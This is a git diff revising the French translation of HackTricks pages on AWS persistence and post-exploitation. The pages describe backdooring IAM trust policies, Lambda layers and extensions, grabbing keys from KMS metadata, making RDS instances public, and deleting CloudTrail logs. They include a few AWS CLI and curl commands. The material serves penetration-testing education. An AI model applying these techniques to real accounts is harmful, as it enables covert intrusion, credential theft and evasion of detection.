+Un attaquant pourrait introduire une backdoor dans le code à l'intérieur du dépôt S3 afin qu'il exécute toujours sa backdoor et le code attendu.
 
-### Nouvelle version avec porte dérobée
+### Nouvelle version avec backdoor
 
-Au lieu de modifier le code de la version actuelle, l'attaquant pourrait déployer une nouvelle version de l'application avec une porte dérobée.
+Au lieu de modifier le code de la version actuelle, l'attaquant pourrait déployer une nouvelle version de l'application avec backdoor.
 
 ### Abus des Hooks de Cycle de Vie des Ressources Personnalisées
 
 > [!NOTE]
-> TODO: Tester
+> TODO: Test
 
 Elastic Beanstalk fournit des hooks de cycle de vie qui vous permettent d'exécuter des scripts personnalisés lors de la provision et de la terminaison des instances. Un attaquant pourrait **configurer un hook de cycle de vie pour exécuter périodiquement un script qui exfiltre des données ou maintient l'accès au compte AWS**.
 ```bash
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
index acf8be977..8c8efb1da 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
@@ -10,18 +10,18 @@ Pour plus d'informations, accédez à :
 ../aws-services/aws-iam-enum.md
 {{#endref}}
 
-### Persistence IAM Courante
+### Persistence IAM courante
 
 - Créer un utilisateur
 - Ajouter un utilisateur contrôlé à un groupe privilégié
-- Créer des clés d'accès (de nouveau utilisateur ou de tous les utilisateurs)
+- Créer des clés d'accès (de l'utilisateur nouvel ou de tous les utilisateurs)
 - Accorder des permissions supplémentaires aux utilisateurs/groupes contrôlés (politiques attachées ou politiques en ligne)
 - Désactiver MFA / Ajouter votre propre appareil MFA
-- Créer une situation de Chaîne de Rôle Juggling (plus d'informations ci-dessous dans la persistance STS)
+- Créer une situation de jonglage de chaîne de rôle (plus d'informations ci-dessous dans la persistance STS)
 
-### Politiques de Confiance de Rôle Backdoor
+### Politiques de confiance de rôle de porte dérobée
 
-Vous pourriez backdoor une politique de confiance pour pouvoir l'assumer pour une ressource externe contrôlée par vous (ou pour tout le monde) :
+Vous pourriez créer une porte dérobée dans une politique de confiance pour pouvoir l'assumer pour une ressource externe contrôlée par vous (ou pour tout le monde) :
 ```json
 {
 "Version": "2012-10-17",
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
index b5c3de0c2..7f0c66c1f 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
@@ -18,7 +18,7 @@ Un attaquant pourrait utiliser la permission **`kms:PutKeyPolicy`** pour **donne
 
 Les grants sont une autre façon de donner à un principal certaines permissions sur une clé spécifique. Il est possible de donner un grant qui permet à un utilisateur de créer des grants. De plus, un utilisateur peut avoir plusieurs grants (même identiques) sur la même clé.
 
-Par conséquent, il est possible qu'un utilisateur ait 10 grants avec toutes les permissions. L'attaquant doit surveiller cela en permanence. Et si à un moment donné 1 grant est supprimé, 10 autres devraient être générés.
+Par conséquent, il est possible qu'un utilisateur ait 10 grants avec toutes les permissions. L'attaquant devrait surveiller cela en permanence. Et si à un moment donné 1 grant est supprimé, 10 autres devraient être générés.
 
 (Nous utilisons 10 et non 2 pour pouvoir détecter qu'un grant a été supprimé alors que l'utilisateur a encore des grants)
 ```bash
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
index 749443556..179d5907b 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
@@ -10,7 +10,7 @@ Pour plus d'informations, consultez :
 ../../aws-services/aws-lambda-enum.md
 {{#endref}}
 
-### Persistance de la couche Lambda
+### Persistence de la couche Lambda
 
 Il est possible d'**introduire/installer une porte dérobée dans une couche pour exécuter du code arbitraire** lorsque la lambda est exécutée de manière discrète :
 
@@ -18,7 +18,7 @@ Il est possible d'**introduire/installer une porte dérobée dans une couche pou
 aws-lambda-layers-persistence.md
 {{#endref}}
 
-### Persistance de l'extension Lambda
+### Persistence de l'extension Lambda
 
 En abusant des couches Lambda, il est également possible d'abuser des extensions et de persister dans la lambda, mais aussi de voler et de modifier des requêtes.
 
@@ -36,7 +36,7 @@ Il est possible d'accorder l'accès à différentes actions lambda (comme invoqu
 
 Une Lambda peut avoir **différentes versions** (avec un code différent pour chaque version).\
 Ensuite, vous pouvez créer **différents alias avec différentes versions** de la lambda et définir des poids différents pour chacun.\
-De cette façon, un attaquant pourrait créer une **version 1 avec porte dérobée** et une **version 2 avec uniquement le code légitime** et **n'exécuter que la version 1 dans 1%** des requêtes pour rester discret.
+De cette manière, un attaquant pourrait créer une **version 1 avec porte dérobée** et une **version 2 avec uniquement le code légitime** et **n'exécuter que la version 1 dans 1%** des requêtes pour rester discret.
 
 

 
@@ -49,16 +49,16 @@ De cette façon, un attaquant pourrait créer une **version 1 avec porte dérob
 1. Cela cachera le code avec porte dérobée dans une version précédente
 4. Aller à la passerelle API et **créer une nouvelle méthode POST** (ou choisir toute autre méthode) qui exécutera la version avec porte dérobée de la lambda : `arn:aws:lambda:us-east-1::function::1`
 1. Notez le final :1 de l'arn **indiquant la version de la fonction** (la version 1 sera celle avec porte dérobée dans ce scénario).
-5. Sélectionnez la méthode POST créée et dans Actions sélectionnez **`Déployer l'API`**
+5. Sélectionnez la méthode POST créée et dans Actions, sélectionnez **`Déployer l'API`**
 6. Maintenant, lorsque vous **appelez la fonction via POST, votre porte dérobée** sera invoquée
 
-### Actuator Cron/Event
+### Cron/Actionneur d'événements
 
 Le fait que vous puissiez faire **exécuter des fonctions lambda lorsque quelque chose se produit ou lorsque du temps passe** rend lambda un moyen agréable et courant d'obtenir une persistance et d'éviter la détection.\
 Voici quelques idées pour rendre votre **présence dans AWS plus discrète en créant des lambdas**.
 
 - Chaque fois qu'un nouvel utilisateur est créé, la lambda génère une nouvelle clé utilisateur et l'envoie à l'attaquant.
 - Chaque fois qu'un nouveau rôle est créé, la lambda accorde des permissions d'assumer le rôle aux utilisateurs compromis.
-- Chaque fois que de nouveaux journaux cloudtrail sont générés, les supprimer/les altérer
+- Chaque fois que de nouveaux journaux cloudtrail sont générés, les supprimer/les modifier
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
index 6d87c2f22..18b9aa953 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -1,21 +1,21 @@
-# AWS - Abusing Lambda Extensions
+# AWS - Abuser des extensions Lambda
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## Lambda Extensions
+## Extensions Lambda
 
 Les extensions Lambda améliorent les fonctions en s'intégrant à divers **outils de surveillance, d'observabilité, de sécurité et de gouvernance**. Ces extensions, ajoutées via des [.zip archives utilisant des couches Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ou incluses dans [les déploiements d'images de conteneur](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), fonctionnent en deux modes : **interne** et **externe**.
 
-- **Les extensions internes** fusionnent avec le processus d'exécution, manipulant son démarrage à l'aide de **variables d'environnement spécifiques au langage** et de **scripts d'enveloppe**. Cette personnalisation s'applique à une gamme d'exécutions, y compris **Java Correto 8 et 11, Node.js 10 et 12, et .NET Core 3.1**.
-- **Les extensions externes** s'exécutent en tant que processus séparés, maintenant l'alignement opérationnel avec le cycle de vie de la fonction Lambda. Elles sont compatibles avec divers environnements d'exécution comme **Node.js 10 et 12, Python 3.7 et 3.8, Ruby 2.5 et 2.7, Java Corretto 8 et 11, .NET Core 3.1**, et **environnements d'exécution personnalisés**.
+- **Les extensions internes** se fusionnent avec le processus d'exécution, manipulant son démarrage à l'aide de **variables d'environnement spécifiques au langage** et de **scripts d'enveloppe**. Cette personnalisation s'applique à une gamme de temps d'exécution, y compris **Java Correto 8 et 11, Node.js 10 et 12, et .NET Core 3.1**.
+- **Les extensions externes** s'exécutent en tant que processus séparés, maintenant l'alignement opérationnel avec le cycle de vie de la fonction Lambda. Elles sont compatibles avec divers temps d'exécution comme **Node.js 10 et 12, Python 3.7 et 3.8, Ruby 2.5 et 2.7, Java Corretto 8 et 11, .NET Core 3.1**, et **des temps d'exécution personnalisés**.
 
 Pour plus d'informations sur [**comment fonctionnent les extensions lambda, consultez la documentation**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
 
-### Extension externe pour la persistance, le vol de requêtes et la modification des requêtes
+### Extension externe pour la persistance, le vol de requêtes et la modification de requêtes
 
-Voici un résumé de la technique proposée dans ce post : [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
+Ceci est un résumé de la technique proposée dans ce post : [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
 
-Il a été constaté que le noyau Linux par défaut dans l'environnement d'exécution Lambda est compilé avec les appels système “**process_vm_readv**” et “**process_vm_writev**”. Et tous les processus s'exécutent avec le même identifiant utilisateur, même le nouveau processus créé pour l'extension externe. **Cela signifie qu'une extension externe a un accès complet en lecture et en écriture à la mémoire heap de Rapid, par conception.**
+Il a été constaté que le noyau Linux par défaut dans l'environnement d'exécution Lambda est compilé avec les appels système “**process_vm_readv**” et “**process_vm_writev**”. Et tous les processus s'exécutent avec le même ID utilisateur, même le nouveau processus créé pour l'extension externe. **Cela signifie qu'une extension externe a un accès complet en lecture et en écriture à la mémoire heap de Rapid, par conception.**
 
 De plus, bien que les extensions Lambda aient la capacité de **s'abonner aux événements d'invocation**, AWS ne révèle pas les données brutes à ces extensions. Cela garantit que **les extensions ne peuvent pas accéder aux informations sensibles** transmises via la requête HTTP.
 
@@ -28,13 +28,13 @@ La variable **`AWS_LAMBDA_RUNTIME_API`** indique l'**adresse IP** et le **numér
 > [!WARNING]
 > En changeant la variable d'environnement **`AWS_LAMBDA_RUNTIME_API`** à un **`port`** auquel nous avons accès, il est possible d'intercepter toutes les actions au sein de l'exécution Lambda (**man-in-the-middle**). Cela est possible car l'extension s'exécute avec les mêmes privilèges que Rapid Init, et le noyau du système permet la **modification de la mémoire des processus**, permettant l'altération du numéro de port.
 
-Parce que **les extensions s'exécutent avant tout code d'exécution**, modifier la variable d'environnement influencera le processus d'exécution (par exemple, Python, Java, Node, Ruby) au démarrage. De plus, **les extensions chargées après** la nôtre, qui dépendent de cette variable, passeront également par notre extension. Cette configuration pourrait permettre à un logiciel malveillant de contourner complètement les mesures de sécurité ou les extensions de journalisation directement dans l'environnement d'exécution.
+Parce que **les extensions s'exécutent avant tout code d'exécution**, modifier la variable d'environnement influencera le processus d'exécution (par exemple, Python, Java, Node, Ruby) lors de son démarrage. De plus, **les extensions chargées après** la nôtre, qui dépendent de cette variable, passeront également par notre extension. Cette configuration pourrait permettre à un logiciel malveillant de contourner complètement les mesures de sécurité ou les extensions de journalisation directement dans l'environnement d'exécution.
 
 
https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png

 
 L'outil [**lambda-spy**](https://github.com/clearvector/lambda-spy) a été créé pour effectuer cette **écriture en mémoire** et **voler des informations sensibles** des requêtes lambda, d'autres **requêtes d'extensions** et même **les modifier**.
 
-## References
+## Références
 
 - [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
 - [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
index 2bd98bb1e..87174f17a 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
@@ -6,9 +6,9 @@
 
 Une couche Lambda est une archive .zip qui **peut contenir du code supplémentaire** ou d'autres contenus. Une couche peut contenir des bibliothèques, un [runtime personnalisé](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), des données ou des fichiers de configuration.
 
-Il est possible d'inclure jusqu'à **cinq couches par fonction**. Lorsque vous incluez une couche dans une fonction, le **contenu est extrait dans le répertoire `/opt`** de l'environnement d'exécution.
+Il est possible d'inclure jusqu'à **cinq couches par fonction**. Lorsque vous incluez une couche dans une fonction, **le contenu est extrait dans le répertoire `/opt`** de l'environnement d'exécution.
 
-Par **défaut**, les **couches** que vous créez sont **privées** à votre compte AWS. Vous pouvez choisir de **partager** une couche avec d'autres comptes ou de **rendre** la couche **publique**. Si vos fonctions consomment une couche qu'un autre compte a publiée, vos fonctions peuvent **continuer à utiliser la version de la couche après qu'elle a été supprimée, ou après que votre permission d'accéder à la couche a été révoquée**. Cependant, vous ne pouvez pas créer une nouvelle fonction ou mettre à jour des fonctions en utilisant une version de couche supprimée.
+Par **défaut**, les **couches** que vous créez sont **privées** à votre compte AWS. Vous pouvez choisir de **partager** une couche avec d'autres comptes ou de **rendre** la couche **publique**. Si vos fonctions consomment une couche qu'un autre compte a publiée, vos fonctions peuvent **continuer à utiliser la version de la couche après qu'elle a été supprimée, ou après que votre autorisation d'accès à la couche a été révoquée**. Cependant, vous ne pouvez pas créer une nouvelle fonction ou mettre à jour des fonctions en utilisant une version de couche supprimée.
 
 Les fonctions déployées en tant qu'image de conteneur n'utilisent pas de couches. Au lieu de cela, vous empaquetez votre runtime préféré, vos bibliothèques et d'autres dépendances dans l'image de conteneur lorsque vous construisez l'image.
 
@@ -21,17 +21,17 @@ Le chemin de chargement que Python utilisera dans lambda est le suivant :
 Vérifiez comment les **deuxième** et troisième **positions** sont occupées par des répertoires où les **lambda layers** décompressent leurs fichiers : **`/opt/python/lib/python3.9/site-packages`** et **`/opt/python`**
 
 > [!CAUTION]
-> Si un attaquant parvient à **backdoor** un **layer** lambda utilisé ou à **en ajouter un** qui sera **exécutant du code arbitraire lorsqu'une bibliothèque commune est chargée**, il pourra exécuter du code malveillant à chaque invocation de lambda.
+> Si un attaquant parvient à **backdoor** un **layer** lambda utilisé ou à **en ajouter un** qui exécutera **du code arbitraire lorsqu'une bibliothèque commune est chargée**, il pourra exécuter du code malveillant à chaque invocation de lambda.
 
 Par conséquent, les exigences sont :
 
-- **Vérifier les bibliothèques** qui sont **chargées** par le code des victimes
-- Créer une **bibliothèque proxy avec des lambda layers** qui va **exécuter du code personnalisé** et **charger la bibliothèque originale**.
+- **Vérifiez les bibliothèques** qui sont **chargées** par le code des victimes
+- Créez une **bibliothèque proxy avec des lambda layers** qui **exécutera du code personnalisé** et **chargera la bibliothèque originale**.
 
 ### Bibliothèques préchargées
 
 > [!WARNING]
-> En abusant de cette technique, j'ai rencontré une difficulté : Certaines bibliothèques sont **déjà chargées** dans l'environnement d'exécution python lorsque votre code est exécuté. Je m'attendais à trouver des choses comme `os` ou `sys`, mais **même la bibliothèque `json` était chargée**.\
+> Lors de l'abus de cette technique, j'ai rencontré une difficulté : Certaines bibliothèques sont **déjà chargées** dans l'environnement d'exécution python lorsque votre code est exécuté. Je m'attendais à trouver des choses comme `os` ou `sys`, mais **même la bibliothèque `json` était chargée**.\
 > Afin d'abuser de cette technique de persistance, le code doit **charger une nouvelle bibliothèque qui n'est pas chargée** lorsque le code est exécuté.
 
 Avec un code python comme celui-ci, il est possible d'obtenir la **liste des bibliothèques qui sont préchargées** dans l'environnement d'exécution python dans lambda :
@@ -93,7 +93,7 @@ Le payload intégré **enverra les identifiants IAM à un serveur LA PREMIÈRE F
 ../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
 {{#endref}}
 
-### Couches Externes
+### Couches externes
 
 Notez qu'il est possible d'utiliser **des couches lambda provenant de comptes externes**. De plus, une lambda peut utiliser une couche d'un compte externe même si elle n'a pas les autorisations.\
 Notez également que le **nombre maximum de couches qu'une lambda peut avoir est de 5**.
@@ -101,7 +101,7 @@ Notez également que le **nombre maximum de couches qu'une lambda peut avoir est
 Par conséquent, afin d'améliorer la polyvalence de cette technique, un attaquant pourrait :
 
 - Backdoor une couche existante de l'utilisateur (rien n'est externe)
-- **Créer** une **couche** dans **son compte**, donner l'**accès au compte victime** pour utiliser la couche, **configurer** la **couche** dans la Lambda de la victime et **retirer la permission**.
+- **Créer** une **couche** dans **son compte**, donner l'**accès du compte victime** pour utiliser la couche, **configurer** la **couche** dans la Lambda de la victime et **retirer la permission**.
 - La **Lambda** pourra toujours **utiliser la couche** et la **victime n'aura** aucun moyen facile de **télécharger le code des couches** (à part obtenir un shell inversé à l'intérieur de la lambda)
 - La victime **ne verra pas les couches externes** utilisées avec **`aws lambda list-layers`**
 ```bash
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
index f07f59477..453bbf4c2 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
@@ -14,19 +14,19 @@ Pour plus d'informations, consultez :
 
 Ils ne seront probablement pas changés, donc les avoir est une bonne option pour la persistance.
 
-### Instances de porte dérobée
+### Backdoor Instances
 
-Un attaquant pourrait accéder aux instances et y installer une porte dérobée :
+Un attaquant pourrait accéder aux instances et les backdoor :
 
 - En utilisant un **rootkit** traditionnel par exemple
 - En ajoutant une nouvelle **clé SSH publique**
-- En exposant un port avec un knocking de port avec une porte dérobée
+- En exposant un port avec du port knocking avec une backdoor
 
 ### Persistance DNS
 
 Si des domaines sont configurés :
 
-- Créez un sous-domaine pointant vers votre IP afin d'avoir un **sous-domaine takeover**
+- Créez un sous-domaine pointant vers votre IP afin d'avoir un **subdomain takeover**
 - Créez un enregistrement **SPF** vous permettant d'envoyer des **emails** depuis le domaine
 - Configurez l'**IP du domaine principal à la vôtre** et effectuez un **MitM** de votre IP vers les légitimes
 
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
index 582846269..58f0b8439 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
@@ -12,13 +12,13 @@ Pour plus d'informations, consultez :
 
 ### Rendre l'instance accessible publiquement : `rds:ModifyDBInstance`
 
-Un attaquant disposant de cette autorisation peut **modifier une instance RDS existante pour activer l'accessibilité publique**.
+Un attaquant ayant cette permission peut **modifier une instance RDS existante pour activer l'accessibilité publique**.
 ```bash
 aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
 ```
 ### Créer un utilisateur admin dans la DB
 
-Un attaquant pourrait simplement **créer un utilisateur dans la DB** donc même si le mot de passe de l'utilisateur principal est modifié, il **ne perd pas l'accès** à la base de données.
+Un attaquant pourrait simplement **créer un utilisateur dans la DB** donc même si le mot de passe de l'utilisateur maître est modifié, il **ne perd pas l'accès** à la base de données.
 
 ### Rendre le snapshot public
 ```bash
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
index ef7a237e4..dc895b0fd 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
@@ -12,14 +12,14 @@ Pour plus d'informations, consultez :
 
 ### KMS Client-Side Encryption
 
-Lorsque le processus de chiffrement est terminé, l'utilisateur utilisera l'API KMS pour générer une nouvelle clé (`aws kms generate-data-key`) et il **stockera la clé chiffrée générée dans les métadonnées** du fichier ([exemple de code python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) afin que lors du déchiffrement, il puisse la déchiffrer à nouveau avec KMS :
+Lorsque le processus de chiffrement est terminé, l'utilisateur utilisera l'API KMS pour générer une nouvelle clé (`aws kms generate-data-key`) et il **stockera la clé chiffrée générée à l'intérieur des métadonnées** du fichier ([exemple de code python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) afin que lors du déchiffrement, il puisse la déchiffrer à nouveau avec KMS :
 
 

 
-Par conséquent, un attaquant pourrait obtenir cette clé à partir des métadonnées et déchiffrer avec KMS (`aws kms decrypt`) pour obtenir la clé utilisée pour chiffrer les informations. De cette manière, l'attaquant disposera de la clé de chiffrement et si cette clé est réutilisée pour chiffrer d'autres fichiers, il pourra l'utiliser.
+Par conséquent, un attaquant pourrait obtenir cette clé à partir des métadonnées et déchiffrer avec KMS (`aws kms decrypt`) pour obtenir la clé utilisée pour chiffrer les informations. De cette manière, l'attaquant aura la clé de chiffrement et si cette clé est réutilisée pour chiffrer d'autres fichiers, il pourra l'utiliser.
 
 ### Using S3 ACLs
 
-Bien que les ACL des buckets soient généralement désactivées, un attaquant disposant de privilèges suffisants pourrait en abuser (si elles sont activées ou si l'attaquant peut les activer) pour conserver l'accès au bucket S3.
+Bien que les ACL des buckets soient généralement désactivées, un attaquant ayant suffisamment de privilèges pourrait en abuser (si elles sont activées ou si l'attaquant peut les activer) pour conserver l'accès au bucket S3.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
index 775fc4539..2f95ab5d2 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
@@ -1,4 +1,4 @@
-# AWS - Persistence de Secrets Manager
+# AWS - Persistence du Secrets Manager
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -12,9 +12,9 @@ Pour plus d'infos, consultez :
 
 ### Via les politiques de ressources
 
-Il est possible de **donner accès aux secrets à des comptes externes** via des politiques de ressources. Consultez la [**page Privesc de Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) pour plus d'informations. Notez que pour **accéder à un secret**, le compte externe aura également **besoin d'accès à la clé KMS chiffrant le secret**.
+Il est possible de **donner accès aux secrets à des comptes externes** via des politiques de ressources. Consultez la [**page Privesc du Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) pour plus d'informations. Notez que pour **accéder à un secret**, le compte externe devra également **avoir accès à la clé KMS chiffrant le secret**.
 
-### Via Lambda de rotation de secrets
+### Via Lambda de rotation des secrets
 
 Pour **faire tourner les secrets** automatiquement, une **Lambda** configurée est appelée. Si un attaquant pouvait **modifier** le **code**, il pourrait directement **exfiltrer le nouveau secret** pour lui-même.
 
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
index cc5fbe7f2..064ef3794 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
@@ -12,7 +12,7 @@ Pour plus d'informations, consultez :
 
 ### Persistence
 
-Lors de la création d'un **SNS topic**, vous devez indiquer avec une politique IAM **qui a accès à lire et écrire**. Il est possible d'indiquer des comptes externes, des ARN de rôles, ou **même "\*"**.\
+Lors de la création d'un **SNS topic**, vous devez indiquer avec une politique IAM **qui a accès à lire et écrire**. Il est possible d'indiquer des comptes externes, l'ARN de rôles, ou **même "\*"**.\
 La politique suivante donne à tout le monde dans AWS l'accès pour lire et écrire dans le SNS topic appelé **`MySNS.fifo`** :
 ```json
 {
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
index 3bd0aae28..a77def3c5 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
@@ -1 +1 @@
-# AWS - SSM Perssitence
+# AWS - Persistance SSM
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
index 123b875b6..f9d8198ae 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
@@ -12,7 +12,7 @@ Pour plus d'informations, consultez :
 
 ### Backdooring des Step Functions
 
-Backdoor une step function pour qu'elle exécute n'importe quel truc de persistance afin que chaque fois qu'elle soit exécutée, elle exécute vos étapes malveillantes.
+Backdoor une step function pour qu'elle exécute n'importe quel truc de persistance, de sorte que chaque fois qu'elle est exécutée, elle exécutera vos étapes malveillantes.
 
 ### Backdooring des alias
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
index c7d303d71..ba88d28b5 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
@@ -12,12 +12,12 @@ Pour plus d'informations, consultez :
 
 ### Accéder aux API non exposées
 
-Vous pouvez créer un point de terminaison dans [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) avec le service `com.amazonaws.us-east-1.execute-api`, exposer le point de terminaison dans un réseau auquel vous avez accès (potentiellement via une machine EC2) et assigner un groupe de sécurité permettant toutes les connexions.\
+Vous pouvez créer un point de terminaison dans [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) avec le service `com.amazonaws.us-east-1.execute-api`, exposer le point de terminaison dans un réseau auquel vous avez accès (potentiellement via une machine EC2) et attribuer un groupe de sécurité permettant toutes les connexions.\
 Ensuite, depuis la machine EC2, vous pourrez accéder au point de terminaison et donc appeler l'API de la passerelle qui n'était pas exposée auparavant.
 
 ### Contourner le passage du corps de la requête
 
-Cette technique a été trouvée dans [**ce rapport CTF**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
+Cette technique a été trouvée dans [**ce compte rendu CTF**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
 
 Comme indiqué dans la [**documentation AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) dans la section `PassthroughBehavior`, par défaut, la valeur **`WHEN_NO_MATCH`**, lors de la vérification de l'en-tête **Content-Type** de la requête, transmettra la requête au back-end sans transformation.
 
@@ -32,9 +32,9 @@ Enfin, comme l'API Gateway n'autorisait que `Get` et `Options`, il était possib
 ```bash
 curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
 ```
-### Usage Plans DoS
+### Plans d'utilisation DoS
 
-Dans la section **Enumeration**, vous pouvez voir comment **obtenir le plan d'utilisation** des clés. Si vous avez la clé et qu'elle est **limitée** à X utilisations **par mois**, vous pourriez **simplement l'utiliser et provoquer un DoS**.
+Dans la section **Énumération**, vous pouvez voir comment **obtenir le plan d'utilisation** des clés. Si vous avez la clé et qu'elle est **limitée** à X utilisations **par mois**, vous pourriez **simplement l'utiliser et provoquer un DoS**.
 
 La **clé API** doit simplement être **incluse** dans un **en-tête HTTP** appelé **`x-api-key`**.
 
@@ -76,7 +76,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 
 ### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
 
-Un attaquant disposant des autorisations `apigateway:PutMethodResponse` et `apigateway:CreateDeployment` peut **modifier la réponse de méthode d'une méthode API Gateway REST API existante pour inclure des en-têtes personnalisés ou des modèles de réponse qui divulguent des informations sensibles ou exécutent des scripts malveillants**.
+Un attaquant ayant les permissions `apigateway:PutMethodResponse` et `apigateway:CreateDeployment` peut **modifier la réponse de méthode d'une méthode API Gateway REST API existante pour inclure des en-têtes personnalisés ou des modèles de réponse qui divulguent des informations sensibles ou exécutent des scripts malveillants**.
 ```bash
 API_ID="your-api-id"
 RESOURCE_ID="your-resource-id"
